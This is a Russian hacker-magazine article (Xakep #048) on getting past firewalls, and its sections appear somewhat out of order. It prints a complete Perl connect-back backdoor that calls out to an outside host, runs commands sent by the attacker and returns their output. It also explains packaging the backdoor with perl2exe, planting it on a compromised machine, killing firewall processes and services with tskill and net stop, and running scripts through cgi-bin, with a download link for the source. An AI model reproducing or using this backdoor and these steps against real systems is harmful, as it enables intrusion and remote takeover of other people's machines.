Сквозь огненную стену Докучаев Дмитрий aka Forb Спецвыпуск: Хакер, номер #048, стр. 048-040-3 #!/usr/bin/perl use IO::Socket; # Юзаем модуль IO::Socket $host=”xakep.box.ru”; # Хост, с которым бэкдор будет соединяться $port=3344; # Удаленный порт $time=20; # Время выжидания до осуществления соединения $|++; # Вырубим буферизацию unless(fork) { # Уйдем в бэграунд sleep($time); # Засыпаем на n-секунд $sock=IO::Socket::INET-> new("$host:$port") || die; # Соединимся или тихо умрем $true=1; while($true) { # Пока сокет активен, ждем команд от хакера $buf=$sock-> recv($cmd,128); chomp($cmd); if ($buf) { $ready=`$cmd` || print $sock "$!\n"; # Если пришла команда, выполним ее либо обработаем ошибку $sock-> send("$ready"); # Вернем вывод от выполненной команды } else { $true=0; # Если сокет закрылся, объявим его мертвым } } close($sock); # И корректно закроем дескриптор } Для настройки клиента нужно указать корректный хост и порт, а также вырубить собственный фаервол (иначе сценарий не приконнектится к удаленной машине). Теперь сервер. Его задача – открыть порт и ждать подключений, а затем интерактивно обрабатывать все необходимые хакерские команды. Что касается кода, то он очень похож на клиентскую часть, поэтому, надеюсь, с ним вопросом возникнуть не должно. Потребуется установить корректный порт, который совпадает с числом, записанным в client.pl. Осталось откомпилировать клиент. Скачиваем конвертер perl2exe с www.indigostar.com/download/p2x-8.00-Win32.zip и передаем ему client.pl в качестве параметра. Если все в порядке, мы получим полноценное приложение, которое легко запустится на любой платформе. Посли заливки клиента на взломанную машину и запуска можно наслаждаться результатом. План С: смотри планы A и B Это основные способы обхода глупых фаерволов, применяемые среди хакеров-форточников. Помни, что если найти баг на WWW и успешно его проэксплуатировать, то обойти брандмауэр не составит большого труда. Исходники connback-проекта лежат на http://kamensk.net.ru/forb/1/x/connback-bd.zip. Но помни, что этот материал написан только в целях ознакомления, а всю ответственность за возможные произведенные взломы несешь ты и только ты. Жестокое убийство Если взломщик обладает привилегиями администратора и имеет право выполнять команды, ничто не мешает ему убить фаервол. Когда пакеты фильтрует персональный фаервол, его процесс вертится в специальной таблице. Убить службу можно с помощью команды tskill имя_фаервола, предварительно узнав имя либо идентификатор утилитой tasklist (только для WinXP). Бывает, что фаервол загружен как сервис. В этом случае найди нужную службу, пропарсив вывод «net start», а затем прибей сервис запросом «net stop найденное_имя». Если интерпретатор Perl отсутствует на удаленном сервере, можно использовать Perl2exe, Если создать в каталоге /cgi-bin сценарий с расширением bat, он без проблем выполнится при обращении к нему с WWW. Команда tskill perl корректно завершит работу клиента на удаленной стороне. Важно не забыть изменить пароль, заданный по умолчанию, в исходниках cgi-telnet. |